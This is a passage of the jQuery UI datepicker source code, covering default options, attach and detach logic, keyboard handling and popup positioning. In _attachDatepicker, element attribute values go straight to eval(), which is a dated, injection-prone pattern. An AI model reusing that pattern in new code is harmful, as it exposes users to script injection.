'Thursday', 'Friday', 'Saturday'], // For formatting\r\n\t\tdayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], // For formatting\r\n\t\tdayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], // Column headings for days starting at Sunday\r\n\t\tdateFormat: 'mm/dd/yy', // See format options on parseDate\r\n\t\tfirstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ...\r\n\t\tisRTL: false // True if right-to-left language, false if left-to-right\r\n\t};\r\n\tthis._defaults = { // Global defaults for all the date picker instances\r\n\t\tshowOn: 'focus', // 'focus' for popup on focus,\r\n\t\t\t// 'button' for trigger button, or 'both' for either\r\n\t\tshowAnim: 'show', // Name of jQuery animation for popup\r\n\t\tshowOptions: {}, // Options for enhanced animations\r\n\t\tdefaultDate: null, // Used when field is blank: actual date,\r\n\t\t\t// +/-number for offset from today, null for today\r\n\t\tappendText: '', // Display text following the input box, e.g. showing the format\r\n\t\tbuttonText: '...', // Text for trigger button\r\n\t\tbuttonImage: '', // URL for trigger button image\r\n\t\tbuttonImageOnly: false, // True if the image appears alone, false if it appears on a button\r\n\t\thideIfNoPrevNext: false, // True to hide next/previous month links\r\n\t\t\t// if not applicable, false to just disable them\r\n\t\tnavigationAsDateFormat: false, // True if date formatting applied to prev/today/next links\r\n\t\tgotoCurrent: false, // True if today link goes back to current selection instead\r\n\t\tchangeMonth: false, // True if month can be selected directly, false if only prev/next\r\n\t\tchangeYear: false, // True if year can be selected directly, false if only prev/next\r\n\t\tshowMonthAfterYear: false, // True if the year select precedes month, false for month then year\r\n\t\tyearRange: '-10:+10', // Range of years to display in drop-down,\r\n\t\t\t// either relative to current year (-nn:+nn) or absolute (nnnn:nnnn)\r\n\t\tshowOtherMonths: false, // True to show dates in other months, false to leave blank\r\n\t\tcalculateWeek: this.iso8601Week, // How to calculate the week of the year,\r\n\t\t\t// takes a Date and returns the number of the week for it\r\n\t\tshortYearCutoff: '+10', // Short year values < this are in the current century,\r\n\t\t\t// > this are in the previous century,\r\n\t\t\t// string value starting with '+' for current year + value\r\n\t\tminDate: null, // The earliest selectable date, or null for no limit\r\n\t\tmaxDate: null, // The latest selectable date, or null for no limit\r\n\t\tduration: 'normal', // Duration of display/closure\r\n\t\tbeforeShowDay: null, // Function that takes a date and returns an array with\r\n\t\t\t// [0] = true if selectable, false if not, [1] = custom CSS class name(s) or '',\r\n\t\t\t// [2] = cell title (optional), e.g. $.datepicker.noWeekends\r\n\t\tbeforeShow: null, // Function that takes an input field and\r\n\t\t\t// returns a set of custom settings for the date picker\r\n\t\tonSelect: null, // Define a callback function when a date is selected\r\n\t\tonChangeMonthYear: null, // Define a callback function when the month or year is changed\r\n\t\tonClose: null, // Define a callback function when the datepicker is closed\r\n\t\tnumberOfMonths: 1, // Number of months to show at a time\r\n\t\tshowCurrentAtPos: 0, // The position in multipe months at which to show the current month (starting at 0)\r\n\t\tstepMonths: 1, // Number of months to step back/forward\r\n\t\tstepBigMonths: 12, // Number of months to step back/forward for the big links\r\n\t\taltField: '', // Selector for an alternate field to store selected dates into\r\n\t\taltFormat: '', // The date format to use for the alternate field\r\n\t\tconstrainInput: true, // The input is constrained by the current date format\r\n\t\tshowButtonPanel: false // True to show button panel, false to not show it\r\n\t};\r\n\t$.extend(this._defaults, this.regional['']);\r\n\tthis.dpDiv = $('<div id=\"' + this._mainDivId + '\" class=\"ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all ui-helper-hidden-accessible\"></div>');\r\n}\r\n\r\n$.extend(Datepicker.prototype, {\r\n\t/* Class name added to elements to indicate already configured with a date picker. */\r\n\tmarkerClassName: 'hasDatepicker',\r\n\r\n\t/* Debug logging (if enabled). */\r\n\tlog: function () {\r\n\t\tif (this.debug)\r\n\t\t\tconsole.log.apply('', arguments);\r\n\t},\r\n\r\n\t/* Override the default settings for all instances of the date picker.\r\n\t   @param  settings  object - the new settings to use as defaults (anonymous object)\r\n\t   @return the manager object */\r\n\tsetDefaults: function(settings) {\r\n\t\textendRemove(this._defaults, settings || {});\r\n\t\treturn this;\r\n\t},\r\n\r\n\t/* Attach the date picker to a jQuery selection.\r\n\t   @param  target    element - the target input field or division or span\r\n\t   @param  settings  object - the new settings to use for this date picker instance (anonymous) */\r\n\t_attachDatepicker: function(target, settings) {\r\n\t\t// check for settings on the control itself - in namespace 'date:'\r\n\t\tvar inlineSettings = null;\r\n\t\tfor (var attrName in this._defaults) {\r\n\t\t\tvar attrValue = target.getAttribute('date:' + attrName);\r\n\t\t\tif (attrValue) {\r\n\t\t\t\tinlineSettings = inlineSettings || {};\r\n\t\t\t\ttry {\r\n\t\t\t\t\tinlineSettings[attrName] = eval(attrValue);\r\n\t\t\t\t} catch (err) {\r\n\t\t\t\t\tinlineSettings[attrName] = attrValue;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tvar nodeName = target.nodeName.toLowerCase();\r\n\t\tvar inline = (nodeName == 'div' || nodeName == 'span');\r\n\t\tif (!target.id)\r\n\t\t\ttarget.id = 'dp' + (++this.uuid);\r\n\t\tvar inst = this._newInst($(target), inline);\r\n\t\tinst.settings = $.extend({}, settings || {}, inlineSettings || {});\r\n\t\tif (nodeName == 'input') {\r\n\t\t\tthis._connectDatepicker(target, inst);\r\n\t\t} else if (inline) {\r\n\t\t\tthis._inlineDatepicker(target, inst);\r\n\t\t}\r\n\t},\r\n\r\n\t/* Create a new instance object. */\r\n\t_newInst: function(target, inline) {\r\n\t\tvar id = target[0].id.replace(/([:\\[\\]\\.])/g, '\\\\\\\\$1'); // escape jQuery meta chars\r\n\t\treturn {id: id, input: target, // associated target\r\n\t\t\tselectedDay: 0, selectedMonth: 0, selectedYear: 0, // current selection\r\n\t\t\tdrawMonth: 0, drawYear: 0, // month being drawn\r\n\t\t\tinline: inline, // is datepicker inline or not\r\n\t\t\tdpDiv: (!inline ? this.dpDiv : // presentation div\r\n\t\t\t$('<div class=\"' + this._inlineClass + ' ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all\"></div>'))};\r\n\t},\r\n\r\n\t/* Attach the date picker to an input field. */\r\n\t_connectDatepicker: function(target, inst) {\r\n\t\tvar input = $(target);\r\n\t\tif (input.hasClass(this.markerClassName))\r\n\t\t\treturn;\r\n\t\tvar appendText = this._get(inst, 'appendText');\r\n\t\tvar isRTL = this._get(inst, 'isRTL');\r\n\t\tif (appendText)\r\n\t\t\tinput[isRTL ? 'before' : 'after']('<span class=\"' + this._appendClass + '\">' + appendText + '</span>');\r\n\t\tvar showOn = this._get(inst, 'showOn');\r\n\t\tif (showOn == 'focus' || showOn == 'both') // pop-up date picker when in the marked field\r\n\t\t\tinput.focus(this._showDatepicker);\r\n\t\tif (showOn == 'button' || showOn == 'both') { // pop-up date picker when button clicked\r\n\t\t\tvar buttonText = this._get(inst, 'buttonText');\r\n\t\t\tvar buttonImage = this._get(inst, 'buttonImage');\r\n\t\t\tvar trigger = $(this._get(inst, 'buttonImageOnly') ?\r\n\t\t\t\t$('<img/>').addClass(this._triggerClass).\r\n\t\t\t\t\tattr({ src: buttonImage, alt: buttonText, title: buttonText }) :\r\n\t\t\t\t$('<button type=\"button\"></button>').addClass(this._triggerClass).\r\n\t\t\t\t\thtml(buttonImage == '' ? buttonText : $('<img/>').attr(\r\n\t\t\t\t\t{ src:buttonImage, alt:buttonText, title:buttonText })));\r\n\t\t\tinput[isRTL ? 'before' : 'after'](trigger);\r\n\t\t\ttrigger.click(function() {\r\n\t\t\t\tif ($.datepicker._datepickerShowing && $.datepicker._lastInput == target)\r\n\t\t\t\t\t$.datepicker._hideDatepicker();\r\n\t\t\t\telse\r\n\t\t\t\t\t$.datepicker._showDatepicker(target);\r\n\t\t\t\treturn false;\r\n\t\t\t});\r\n\t\t}\r\n\t\tinput.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).\r\n\t\t\tbind(\"setData.datepicker\", function(event, key, value) {\r\n\t\t\t\tinst.settings[key] = value;\r\n\t\t\t}).bind(\"getData.datepicker\", function(event, key) {\r\n\t\t\t\treturn this._get(inst, key);\r\n\t\t\t});\r\n\t\t$.data(target, PROP_NAME, inst);\r\n\t},\r\n\r\n\t/* Attach an inline date picker to a div. */\r\n\t_inlineDatepicker: function(target, inst) {\r\n\t\tvar divSpan = $(target);\r\n\t\tif (divSpan.hasClass(this.markerClassName))\r\n\t\t\treturn;\r\n\t\tdivSpan.addClass(this.markerClassName).append(inst.dpDiv).\r\n\t\t\tbind(\"setData.datepicker\", function(event, key, value){\r\n\t\t\t\tinst.settings[key] = value;\r\n\t\t\t}).bind(\"getData.datepicker\", function(event, key){\r\n\t\t\t\treturn this._get(inst, key);\r\n\t\t\t});\r\n\t\t$.data(target, PROP_NAME, inst);\r\n\t\tthis._setDate(inst, this._getDefaultDate(inst));\r\n\t\tthis._updateDatepicker(inst);\r\n\t\tthis._updateAlternate(inst);\r\n\t},\r\n\r\n\t/* Pop-up the date picker in a \"dialog\" box.\r\n\t   @param  input     element - ignored\r\n\t   @param  dateText  string - the initial date to display (in the current format)\r\n\t   @param  onSelect  function - the function(dateText) to call when a date is selected\r\n\t   @param  settings  object - update the dialog date picker instance's settings (anonymous object)\r\n\t   @param  pos       int[2] - coordinates for the dialog's position within the screen or\r\n\t                     event - with x/y coordinates or\r\n\t                     leave empty for default (screen centre)\r\n\t   @return the manager object */\r\n\t_dialogDatepicker: function(input, dateText, onSelect, settings, pos) {\r\n\t\tvar inst = this._dialogInst; // internal instance\r\n\t\tif (!inst) {\r\n\t\t\tvar id = 'dp' + (++this.uuid);\r\n\t\t\tthis._dialogInput = $('<input type=\"text\" id=\"' + id +\r\n\t\t\t\t'\" size=\"1\" style=\"position: absolute; top: -100px;\"/>');\r\n\t\t\tthis._dialogInput.keydown(this._doKeyDown);\r\n\t\t\t$('body').append(this._dialogInput);\r\n\t\t\tinst = this._dialogInst = this._newInst(this._dialogInput, false);\r\n\t\t\tinst.settings = {};\r\n\t\t\t$.data(this._dialogInput[0], PROP_NAME, inst);\r\n\t\t}\r\n\t\textendRemove(inst.settings, settings || {});\r\n\t\tthis._dialogInput.val(dateText);\r\n\r\n\t\tthis._pos = (pos ? (pos.length ? pos : [pos.pageX, pos.pageY]) : null);\r\n\t\tif (!this._pos) {\r\n\t\t\tvar browserWidth = window.innerWidth || document.documentElement.clientWidth ||\tdocument.body.clientWidth;\r\n\t\t\tvar browserHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;\r\n\t\t\tvar scrollX = document.documentElement.scrollLeft || document.body.scrollLeft;\r\n\t\t\tvar scrollY = document.documentElement.scrollTop || document.body.scrollTop;\r\n\t\t\tthis._pos = // should use actual width/height below\r\n\t\t\t\t[(browserWidth / 2) - 100 + scrollX, (browserHeight / 2) - 150 + scrollY];\r\n\t\t}\r\n\r\n\t\t// move input on screen for focus, but hidden behind dialog\r\n\t\tthis._dialogInput.css('left', this._pos[0] + 'px').css('top', this._pos[1] + 'px');\r\n\t\tinst.settings.onSelect = onSelect;\r\n\t\tthis._inDialog = true;\r\n\t\tthis.dpDiv.addClass(this._dialogClass);\r\n\t\tthis._showDatepicker(this._dialogInput[0]);\r\n\t\tif ($.blockUI)\r\n\t\t\t$.blockUI(this.dpDiv);\r\n\t\t$.data(this._dialogInput[0], PROP_NAME, inst);\r\n\t\treturn this;\r\n\t},\r\n\r\n\t/* Detach a datepicker from its control.\r\n\t   @param  target    element - the target input field or division or span */\r\n\t_destroyDatepicker: function(target) {\r\n\t\tvar $target = $(target);\r\n\t\tif (!$target.hasClass(this.markerClassName)) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tvar nodeName = target.nodeName.toLowerCase();\r\n\t\t$.removeData(target, PROP_NAME);\r\n\t\tif (nodeName == 'input') {\r\n\t\t\t$target.siblings('.' + this._appendClass).remove().end().\r\n\t\t\t\tsiblings('.' + this._triggerClass).remove().end().\r\n\t\t\t\tremoveClass(this.markerClassName).\r\n\t\t\t\tunbind('focus', this._showDatepicker).\r\n\t\t\t\tunbind('keydown', this._doKeyDown).\r\n\t\t\t\tunbind('keypress', this._doKeyPress);\r\n\t\t} else if (nodeName == 'div' || nodeName == 'span')\r\n\t\t\t$target.removeClass(this.markerClassName).empty();\r\n\t},\r\n\r\n\t/* Enable the date picker to a jQuery selection.\r\n\t   @param  target    element - the target input field or division or span */\r\n\t_enableDatepicker: function(target) {\r\n\t\tvar $target = $(target);\r\n\t\tif (!$target.hasClass(this.markerClassName)) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tvar nodeName = target.nodeName.toLowerCase();\r\n\t\tif (nodeName == 'input') {\r\n\t\ttarget.disabled = false;\r\n\t\t\t$target.siblings('button.' + this._triggerClass).\r\n\t\t\teach(function() { this.disabled = false; }).end().\r\n\t\t\t\tsiblings('img.' + this._triggerClass).\r\n\t\t\t\tcss({opacity: '1.0', cursor: ''});\r\n\t\t}\r\n\t\telse if (nodeName == 'div' || nodeName == 'span') {\r\n\t\t\tvar inline = $target.children('.' + this._inlineClass);\r\n\t\t\tinline.children().removeClass('ui-state-disabled');\r\n\t\t}\r\n\t\tthis._disabledInputs = $.map(this._disabledInputs,\r\n\t\t\tfunction(value) { return (value == target ? null : value); }); // delete entry\r\n\t},\r\n\r\n\t/* Disable the date picker to a jQuery selection.\r\n\t   @param  target    element - the target input field or division or span */\r\n\t_disableDatepicker: function(target) {\r\n\t\tvar $target = $(target);\r\n\t\tif (!$target.hasClass(this.markerClassName)) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tvar nodeName = target.nodeName.toLowerCase();\r\n\t\tif (nodeName == 'input') {\r\n\t\ttarget.disabled = true;\r\n\t\t\t$target.siblings('button.' + this._triggerClass).\r\n\t\t\teach(function() { this.disabled = true; }).end().\r\n\t\t\t\tsiblings('img.' + this._triggerClass).\r\n\t\t\t\tcss({opacity: '0.5', cursor: 'default'});\r\n\t\t}\r\n\t\telse if (nodeName == 'div' || nodeName == 'span') {\r\n\t\t\tvar inline = $target.children('.' + this._inlineClass);\r\n\t\t\tinline.children().addClass('ui-state-disabled');\r\n\t\t}\r\n\t\tthis._disabledInputs = $.map(this._disabledInputs,\r\n\t\t\tfunction(value) { return (value == target ? null : value); }); // delete entry\r\n\t\tthis._disabledInputs[this._disabledInputs.length] = target;\r\n\t},\r\n\r\n\t/* Is the first field in a jQuery collection disabled as a datepicker?\r\n\t   @param  target    element - the target input field or division or span\r\n\t   @return boolean - true if disabled, false if enabled */\r\n\t_isDisabledDatepicker: function(target) {\r\n\t\tif (!target) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfor (var i = 0; i < this._disabledInputs.length; i++) {\r\n\t\t\tif (this._disabledInputs[i] == target)\r\n\t\t\t\treturn true;\r\n\t\t}\r\n\t\treturn false;\r\n\t},\r\n\r\n\t/* Retrieve the instance data for the target control.\r\n\t   @param  target  element - the target input field or division or span\r\n\t   @return  object - the associated instance data\r\n\t   @throws  error if a jQuery problem getting data */\r\n\t_getInst: function(target) {\r\n\t\ttry {\r\n\t\t\treturn $.data(target, PROP_NAME);\r\n\t\t}\r\n\t\tcatch (err) {\r\n\t\t\tthrow 'Missing instance data for this datepicker';\r\n\t\t}\r\n\t},\r\n\r\n\t/* Update the settings for a date picker attached to an input field or division.\r\n\t   @param  target  element - the target input field or division or span\r\n\t   @param  name    object - the new settings to update or\r\n\t                   string - the name of the setting to change or\r\n\t   @param  value   any - the new value for the setting (omit if above is an object) */\r\n\t_optionDatepicker: function(target, name, value) {\r\n\t\tvar settings = name || {};\r\n\t\tif (typeof name == 'string') {\r\n\t\t\tsettings = {};\r\n\t\t\tsettings[name] = value;\r\n\t\t}\r\n\t\tvar inst = this._getInst(target);\r\n\t\tif (inst) {\r\n\t\t\tif (this._curInst == inst) {\r\n\t\t\t\tthis._hideDatepicker(null);\r\n\t\t\t}\r\n\t\t\textendRemove(inst.settings, settings);\r\n\t\t\tvar date = new Date();\r\n\t\t\textendRemove(inst, {rangeStart: null, // start of range\r\n\t\t\t\tendDay: null, endMonth: null, endYear: null, // end of range\r\n\t\t\t\tselectedDay: date.getDate(), selectedMonth: date.getMonth(),\r\n\t\t\t\tselectedYear: date.getFullYear(), // starting point\r\n\t\t\t\tcurrentDay: date.getDate(), currentMonth: date.getMonth(),\r\n\t\t\t\tcurrentYear: date.getFullYear(), // current selection\r\n\t\t\t\tdrawMonth: date.getMonth(), drawYear: date.getFullYear()}); // month being drawn\r\n\t\t\tthis._updateDatepicker(inst);\r\n\t\t}\r\n\t},\r\n\r\n\t// change method deprecated\r\n\t_changeDatepicker: function(target, name, value) {\r\n\t\tthis._optionDatepicker(target, name, value);\r\n\t},\r\n\r\n\t/* Redraw the date picker attached to an input field or division.\r\n\t   @param  target  element - the target input field or division or span */\r\n\t_refreshDatepicker: function(target) {\r\n\t\tvar inst = this._getInst(target);\r\n\t\tif (inst) {\r\n\t\t\tthis._updateDatepicker(inst);\r\n\t\t}\r\n\t},\r\n\r\n\t/* Set the dates for a jQuery selection.\r\n\t   @param  target   element - the target input field or division or span\r\n\t   @param  date     Date - the new date\r\n\t   @param  endDate  Date - the new end date for a range (optional) */\r\n\t_setDateDatepicker: function(target, date, endDate) {\r\n\t\tvar inst = this._getInst(target);\r\n\t\tif (inst) {\r\n\t\t\tthis._setDate(inst, date, endDate);\r\n\t\t\tthis._updateDatepicker(inst);\r\n\t\t\tthis._updateAlternate(inst);\r\n\t\t}\r\n\t},\r\n\r\n\t/* Get the date(s) for the first entry in a jQuery selection.\r\n\t   @param  target  element - the target input field or division or span\r\n\t   @return Date - the current date or\r\n\t           Date[2] - the current dates for a range */\r\n\t_getDateDatepicker: function(target) {\r\n\t\tvar inst = this._getInst(target);\r\n\t\tif (inst && !inst.inline)\r\n\t\t\tthis._setDateFromField(inst);\r\n\t\treturn (inst ? this._getDate(inst) : null);\r\n\t},\r\n\r\n\t/* Handle keystrokes. */\r\n\t_doKeyDown: function(event) {\r\n\t\tvar inst = $.datepicker._getInst(event.target);\r\n\t\tvar handled = true;\r\n\t\tvar isRTL = inst.dpDiv.is('.ui-datepicker-rtl');\r\n\t\tinst._keyEvent = true;\r\n\t\tif ($.datepicker._datepickerShowing)\r\n\t\t\tswitch (event.keyCode) {\r\n\t\t\t\tcase 9:  $.datepicker._hideDatepicker(null, '');\r\n\t\t\t\t\t\tbreak; // hide on tab out\r\n\t\t\t\tcase 13: var sel = $('td.' + $.datepicker._dayOverClass +\r\n\t\t\t\t\t\t\t', td.' + $.datepicker._currentClass, inst.dpDiv);\r\n\t\t\t\t\t\tif (sel[0])\r\n\t\t\t\t\t\t\t$.datepicker._selectDay(event.target, inst.selectedMonth, inst.selectedYear, sel[0]);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t$.datepicker._hideDatepicker(null, $.datepicker._get(inst, 'duration'));\r\n\t\t\t\t\t\treturn false; // don't submit the form\r\n\t\t\t\t\t\tbreak; // select the value on enter\r\n\t\t\t\tcase 27: $.datepicker._hideDatepicker(null, $.datepicker._get(inst, 'duration'));\r\n\t\t\t\t\t\tbreak; // hide on escape\r\n\t\t\t\tcase 33: $.datepicker._adjustDate(event.target, (event.ctrlKey ?\r\n\t\t\t\t\t\t\t-$.datepicker._get(inst, 'stepBigMonths') :\r\n\t\t\t\t\t\t\t-$.datepicker._get(inst, 'stepMonths')), 'M');\r\n\t\t\t\t\t\tbreak; // previous month/year on page up/+ ctrl\r\n\t\t\t\tcase 34: $.datepicker._adjustDate(event.target, (event.ctrlKey ?\r\n\t\t\t\t\t\t\t+$.datepicker._get(inst, 'stepBigMonths') :\r\n\t\t\t\t\t\t\t+$.datepicker._get(inst, 'stepMonths')), 'M');\r\n\t\t\t\t\t\tbreak; // next month/year on page down/+ ctrl\r\n\t\t\t\tcase 35: if (event.ctrlKey || event.metaKey) $.datepicker._clearDate(event.target);\r\n\t\t\t\t\t\thandled = event.ctrlKey || event.metaKey;\r\n\t\t\t\t\t\tbreak; // clear on ctrl or command +end\r\n\t\t\t\tcase 36: if (event.ctrlKey || event.metaKey) $.datepicker._gotoToday(event.target);\r\n\t\t\t\t\t\thandled = event.ctrlKey || event.metaKey;\r\n\t\t\t\t\t\tbreak; // current on ctrl or command +home\r\n\t\t\t\tcase 37: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, (isRTL ? +1 : -1), 'D');\r\n\t\t\t\t\t\thandled = event.ctrlKey || event.metaKey;\r\n\t\t\t\t\t\t// -1 day on ctrl or command +left\r\n\t\t\t\t\t\tif (event.originalEvent.altKey) $.datepicker._adjustDate(event.target, (event.ctrlKey ?\r\n\t\t\t\t\t\t\t\t\t-$.datepicker._get(inst, 'stepBigMonths') :\r\n\t\t\t\t\t\t\t\t\t-$.datepicker._get(inst, 'stepMonths')), 'M');\r\n\t\t\t\t\t\t// next month/year on alt +left on Mac\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\tcase 38: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, -7, 'D');\r\n\t\t\t\t\t\thandled = event.ctrlKey || event.metaKey;\r\n\t\t\t\t\t\tbreak; // -1 week on ctrl or command +up\r\n\t\t\t\tcase 39: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, (isRTL ? -1 : +1), 'D');\r\n\t\t\t\t\t\thandled = event.ctrlKey || event.metaKey;\r\n\t\t\t\t\t\t// +1 day on ctrl or command +right\r\n\t\t\t\t\t\tif (event.originalEvent.altKey) $.datepicker._adjustDate(event.target, (event.ctrlKey ?\r\n\t\t\t\t\t\t\t\t\t+$.datepicker._get(inst, 'stepBigMonths') :\r\n\t\t\t\t\t\t\t\t\t+$.datepicker._get(inst, 'stepMonths')), 'M');\r\n\t\t\t\t\t\t// next month/year on alt +right\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\tcase 40: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, +7, 'D');\r\n\t\t\t\t\t\thandled = event.ctrlKey || event.metaKey;\r\n\t\t\t\t\t\tbreak; // +1 week on ctrl or command +down\r\n\t\t\t\tdefault: handled = false;\r\n\t\t\t}\r\n\t\telse if (event.keyCode == 36 && event.ctrlKey) // display the date picker on ctrl+home\r\n\t\t\t$.datepicker._showDatepicker(this);\r\n\t\telse {\r\n\t\t\thandled = false;\r\n\t\t}\r\n\t\tif (handled) {\r\n\t\t\tevent.preventDefault();\r\n\t\t\tevent.stopPropagation();\r\n\t\t}\r\n\t},\r\n\r\n\t/* Filter entered characters - based on date format. */\r\n\t_doKeyPress: function(event) {\r\n\t\tvar inst = $.datepicker._getInst(event.target);\r\n\t\tif ($.datepicker._get(inst, 'constrainInput')) {\r\n\t\t\tvar chars = $.datepicker._possibleChars($.datepicker._get(inst, 'dateFormat'));\r\n\t\t\tvar chr = String.fromCharCode(event.charCode == undefined ? event.keyCode : event.charCode);\r\n\t\t\treturn event.ctrlKey || (chr < ' ' || !chars || chars.indexOf(chr) > -1);\r\n\t\t}\r\n\t},\r\n\r\n\t/* Pop-up the date picker for a given input field.\r\n\t   @param  input  element - the input field attached to the date picker or\r\n\t                  event - if triggered by focus */\r\n\t_showDatepicker: function(input) {\r\n\t\tinput = input.target || input;\r\n\t\tif (input.nodeName.toLowerCase() != 'input') // find from button/image trigger\r\n\t\t\tinput = $('input', input.parentNode)[0];\r\n\t\tif ($.datepicker._isDisabledDatepicker(input) || $.datepicker._lastInput == input) // already here\r\n\t\t\treturn;\r\n\t\tvar inst = $.datepicker._getInst(input);\r\n\t\tvar beforeShow = $.datepicker._get(inst, 'beforeShow');\r\n\t\textendRemove(inst.settings, (beforeShow ? beforeShow.apply(input, [input, inst]) : {}));\r\n\t\t$.datepicker._hideDatepicker(null, '');\r\n\t\t$.datepicker._lastInput = input;\r\n\t\t$.datepicker._setDateFromField(inst);\r\n\t\tif ($.datepicker._inDialog) // hide cursor\r\n\t\t\tinput.value = '';\r\n\t\tif (!$.datepicker._pos) { // position below input\r\n\t\t\t$.datepicker._pos = $.datepicker._findPos(input);\r\n\t\t\t$.datepicker._pos[1] += input.offsetHeight; // add the height\r\n\t\t}\r\n\t\tvar isFixed = false;\r\n\t\t$(input).parents().each(function() {\r\n\t\t\tisFixed |= $(this).css('position') == 'fixed';\r\n\t\t\treturn !isFixed;\r\n\t\t});\r\n\t\tif (isFixed && $.browser.opera) { // correction for Opera when fixed and scrolled\r\n\t\t\t$.datepicker._pos[0] -= document.documentElement.scrollLeft;\r\n\t\t\t$.datepicker._pos[1] -= document.documentElement.scrollTop;\r\n\t\t}\r\n\t\tvar offset = {left: $.datepicker._pos[0], top: $.datepicker._pos[1]};\r\n\t\t$.datepicker._pos = null;\r\n\t\tinst.rangeStart = null;\r\n\t\t// determine sizing offscreen\r\n\t\tinst.dpDiv.css({position: 'absolute', display: 'block', top: '-1000px'});\r\n\t\t$.datepicker._updateDatepicker(inst);\r\n\t\t// fix width for dynamic number of date pickers\r\n\t\t// and adjust position before showing\r\n\t\toffset = $.datepicker._checkOffset(inst, offset, isFixed);\r\n\t\tinst.dpDiv.css({position: ($.datepicker._inDialog && $.blockUI ?\r\n\t\t\t'static' : (isFixed ? 'fixed' : 'absolute')), display: 'none',\r\n\t\t\tleft: offset.left + 'px', top: offset.top + 'px'});\r\n\t\tif (!inst.inline) {\r\n\t\t\tvar showAnim = $.datepicker._get(inst, 'showAnim') || 'show';\r\n\t\t\tvar duration = $.datepicker._get(inst, 'duration');\r\n\t\t\tvar postProcess = function() {\r\n\t\t\t\t$.datepicker._datepickerShowing = true;\r\n\t\t\t\tif ($.browser.msie && parseInt($.browser.version,10) < 7) // fix IE < 7 select problems\r\n\t\t\t\t\t$('iframe.ui-datepicker-cover').css({width: inst.dpDiv.width() + 4,\r\n\t\t\t\t\t\theight: inst.dpDiv.height() + 4});\r\n\t\t\t};\r\n\t\t\tif ($.effects && $.effects[showAnim])\r\n\t\t\t\tinst.dpDiv.show(showAnim, $.datepicker._get(inst, 'showOptions'), duration, postProcess);\r\n\t\t\telse\r\n\t\t\t\tinst.dpDiv[showAnim](duration, postProcess);\r\n\t\t\tif (duration == '')\r\n\t\t\t\tpostProcess();\r\n\t\t\tif (inst.input[0].type != 'hidden')\r\n\t\t\t\tinst.input[0].focus();\r\n\t\t\t$.datepicker._curInst = inst;\r\n\t\t}\r\n\t},\r\n\r\n\t/* Generate the date picker content. */\r\n\t_updateDatepicker: function(inst) {\r\n\t\tvar dims = {width: inst.dpDiv.width() + 4,\r\n\t\t\theight: inst.dpDiv.height() + 4};\r\n\t\tvar self = this;\r\n\t\tinst.dpDiv.empty().append(this._generateHTML(inst))\r\n\t\t\t.find('iframe.ui-datepicker-cover').\r\n\t\t\t\tcss({width: dims.width, height: dims.height})\r\n\t\t\t.end()\r\n\t\t\t.find('button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a')\r\n\t\t\t\t.bind('mouseout', function(){\r\n\t\t\t\t\t$(this).removeClass('ui-state-hover');\r\n\t\t\t\t\tif(this.className.indexOf('ui-datepicker-prev') != -1) $(this).removeClass('ui-datepicker-prev-hover');\r\n\t\t\t\t\tif(this.className.indexOf('ui-datepicker-next') != -1) $(this).removeClass('ui-datepicker-next-hover');\r\n\t\t\t\t})\r\n\t\t\t\t.bind('mouseover', function(){\r\n\t\t\t\t\tif (!self._isDisabledDatepicker( inst.inline ? inst.dpDiv.parent()[0] : inst.input[0])) {\r\n\t\t\t\t\t\t$(this).parents('.ui-datepicker-calendar').find('a').removeClass('ui-state-hover');\r\n\t\t\t\t\t\t$(this).addClass('ui-state-hover');\r\n\t\t\t\t\t\tif(this.className.indexOf('ui-datepicker-prev') != -1) $(this).addClass('ui-datepicker-prev-hover');\r\n\t\t\t\t\t\tif(this.className.indexOf('ui-datepicker-next') != -1) $(this).addClass('ui-datepicker-next-hover');\r\n\t\t\t\t\t}\r\n\t\t\t\t})\r\n\t\t\t.end()\r\n\t\t\t.find('.' + this._dayOverClass + ' a')\r\n\t\t\t\t.trigger('mouseover')\r\n\t\t\t.end();\r\n\t\tvar numMonths = this._getNumberOfMonths(inst);\r\n\t\tvar cols = numMonths[1];\r\n\t\tvar width = 17;\r\n\t\tif (cols > 1) {\r\n\t\t\tinst.dpDiv.addClass('ui-datepicker-multi-' + cols).css('width', (width * cols) + 'em');\r\n\t\t} else {\r\n\t\t\tinst.dpDiv.removeClass('ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4').width('');\r\n\t\t}\r\n\t\tinst.dpDiv[(numMonths[0] != 1 || numMonths[1] != 1 ? 'add' : 'remove') +\r\n\t\t\t'Class']('ui-datepicker-multi');\r\n\t\tinst.dpDiv[(this._get(inst, 'isRTL') ? 'add' : 'remove') +\r\n\t\t\t'Class']('ui-datepicker-rtl');\r\n\t\tif (inst.input && inst.input[0].type != 'hidden' && inst == $.datepicker._curInst)\r\n\t\t\t$(inst.input[0]).focus();\r\n\t},\r\n\r\n\t/* Check positioning to remain on screen. */\r\n\t_checkOffset: function(inst, offset, isFixed) {\r\n\t\tvar dpWidth = inst.dpDiv.outerWidth();\r\n\t\tvar dpHeight = inst.dpDiv.outerHeight();\r\n\t\tvar inputWidth = inst.input ? inst.input.outerWidth() : 0;\r\n\t\tvar inputHeight = inst.input ? inst.input.outerHeight() : 0;\r\n\t\tvar viewWidth = (window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth) + $(document).scrollLeft();\r\n\t\tvar viewHeight = (window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight) + $(document).scrollTop();\r\n\r\n\t\toffset.left -= (this._get(inst, 'isRTL') ? (dpWidth - inputWidth) : 